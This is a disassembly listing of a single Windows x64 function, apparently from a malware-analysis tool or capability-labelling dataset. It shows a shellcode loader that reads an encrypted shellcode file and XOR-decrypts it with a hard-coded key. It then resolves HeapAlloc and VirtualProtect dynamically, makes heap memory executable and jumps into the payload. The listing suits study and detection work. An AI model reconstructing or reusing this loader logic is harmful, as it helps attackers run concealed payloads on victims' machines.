Function at 0x140001290
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0xd0], rax
xor esi, esi
lea rcx, [rbp - 0x60]
call fcn.140002450
nop
cmp qword [rbp + 0x30], rsi
jne 0x140001307
lea rdx, str.Failed_to_open_encrypted_shellcode.bin
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002970
lea rdx, [0x140002b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
jmp 0x14000174b
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x78], 1
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx - 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
sete byte [rsp + 0x68]
mov byte [rsp + 0x69], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x50], rcx
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
movzx r14d, byte [rsp + 0x69]
mov rbx, qword [rsp + 0x60]
movzx r12d, byte [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
test rax, rax
jne 0x140001384
movzx r15d, byte [rsp + 0x68]
jmp 0x1400013a3
test rbx, rbx
je 0x14000139d
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x14000139d
movzx r14d, al
jmp 0x1400013a0
mov rbx, rsi
mov r15b, 1
test r12b, r12b
jne 0x1400013c1
test rdi, rdi
je 0x1400013bb
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x1400013be
mov rdi, rsi
mov r12b, 1
test rbx, rbx
jne 0x1400014b3
test rdi, rdi
jne 0x1400014bc
lea rcx, [rbp - 0x50]
call fcn.1400028b0
test rax, rax
jne 0x1400013fd
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], 0xa
mov qword [rbp + 0xc8], 0xf
movsd xmm0, qword [str.secret_key]
movsd qword [rbp + 0xb0], xmm0
movzx eax, word [0x1400055e0]
mov word [rbp + 0xb8], ax
mov byte [rbp + 0xba], 0
mov rax, qword [rsp + 0x40]
mov rdi, rax
mov r9, qword [rsp + 0x38]
sub rdi, r9
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov r14, rsi
mov qword [rbp - 0x70], rsi
je 0x140001568
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x14000178c
cmp rdi, 0x1000
jb 0x140001531
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140001786
call fcn.140003100
test rax, rax
je 0x1400016ea
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000153c
test rdi, rdi
jne 0x1400013d3
test r15b, r15b
jne 0x1400014dd
test rbx, rbx
je 0x1400014da
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400014da
movzx r14d, al
jmp 0x1400014dd
mov rbx, rsi
mov byte [rsp + 0x30], r14b
mov rax, qword [rsp + 0x40]
cmp rax, qword [rsp + 0x48]
je 0x1400014f8
mov byte [rax], r14b
inc qword [rsp + 0x40]
jmp 0x14000150c
lea r8, [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.140002ef0
test rbx, rbx
je 0x14000139d
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x14000139d
mov byte [rsp + 0x68], 0
jmp 0x140001384
mov rcx, rdi
call fcn.140003100
mov rbx, rax
mov qword [rbp - 0x80], rbx
lea r14, [rbx + rdi]
mov qword [rbp - 0x70], r14
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov rdi, r14
mov qword [rbp - 0x78], r14
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x38]
jmp 0x140001570
mov rdi, qword [rbp - 0x78]
mov rbx, qword [rbp - 0x80]
mov r8, rsi
cmp rax, r9
je 0x1400015be
movabs r10, 0xcccccccccccccccd
mov rax, r10
mul r8
shr rdx, 3
lea rcx, [rdx + rdx*4]
add rcx, rcx
mov rax, r8
sub rax, rcx
movzx ecx, byte [r9 + r8]
xor cl, byte [rbp + rax + 0xb0]
mov byte [rbx + r8], cl
inc r8
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x38]
sub rax, r9
cmp r8, rax
jb 0x140001582
sub rdi, rbx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x14000169d
lea rdx, str.GetProcessHeap
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, str.HeapAlloc
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.VirtualProtect
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x14000169d
test r12, r12
je 0x14000169d
test r13, r13
je 0x14000169d
call rax
test rax, rax
je 0x14000169d
mov r8, rdi
mov edx, 8
mov rcx, rax
call r12
mov r15, rax
test rax, rax
je 0x14000167a
lea r9, [rsp + 0x50]
mov r8d, 0x40
mov rdx, rdi
mov rcx, rax
call r13
test eax, eax
je 0x140001671
mov r8, rdi
mov rdx, rbx
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
call r15
jmp 0x1400016c1
lea rdx, str.VirtualProtect_failed.
jmp 0x140001681
lea rdx, str.HeapAlloc_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002970
lea rdx, [0x140002b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Memory_allocation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002970
lea rdx, [0x140002b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
test rbx, rbx
je 0x1400016fd
sub r14, rbx
mov rax, rbx
cmp r14, 0x1000
jb 0x1400016f1
add r14, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, rbx
call fcn.14000313c
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000174b
mov rdx, qword [rsp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001737
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001737
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000313c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rcx, [rbp - 0x60]
call fcn.1400017a0
mov eax, esi
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.1400030e0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001110
nop
call fcn.140002ed0
int3